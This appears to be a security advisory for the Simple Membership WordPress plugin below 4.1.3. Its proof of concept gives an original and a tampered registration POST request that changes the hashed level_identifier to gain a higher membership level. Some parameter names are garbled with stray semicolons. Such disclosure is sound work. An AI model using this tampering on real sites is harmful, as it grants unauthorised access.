Simple Membership < 4.1.3 - Unauthenticated Membership Privilege Escalation

The plugin allows user to change their membership at the registration stage due to insufficient checking of a user supplied parameter. Note: This only affects membership from the plugin, not the WordPress role

PoC

The request contains the level_identifier parameter with the md5(2) value, where 2 is the default membership level. Value during registration - c81e728d9d4c2f636f067f89cc14862c An attacker can change this value and get a different membership level. Original request: POST /membership-join/membership-registration/ HTTP/1.1 Host: wordpress.local User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 281 Origin: http://wordpress.local Connection: close Referer: http://wordpress.local/membership-join/membership-registration/ Cookie: swpm_session=aa21a306ba6e73498ee136da0d751b47; swpm_in_use=swpm_in_use Upgrade-Insecure-Requests: 1 level_identifier=c81e728d9d4c2f636f067f89cc14862c&user;_name=user_low3&email;=user_low3%40jet.local&password;=user&password;_re=user&first;_name=user&last;_name=user&membership;_level=2&swpm;_level_hash=947098d78fd5617082ca190a28c163b0&swpm;_registration_submit=Register&action;=custom_posts Modified query, with which attacker can get the third level (level_identifier changed to md5(3)): POST /membership-join/membership-registration/ HTTP/1.1 Host: wordpress.local User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 281 Origin: http://wordpress.local Connection: close Referer: http://wordpress.local/membership-join/membership-registration/ Cookie: swpm_session=aa21a306ba6e73498ee136da0d751b47; swpm_in_use=swpm_in_use Upgrade-Insecure-Requests: 1 level_identifier=eccbc87e4b5ce2fe28308fd9f2a7baf3&user;_name=user_low3&email;=user_low3%40domain.local&password;=userpass&password;_re=userpass&first;_name=user&last;_name=user&membership;_level=2&swpm;_level_hash=947098d78fd5617082ca190a28c163b0&swpm;_registration_submit=Register&action;=custom_posts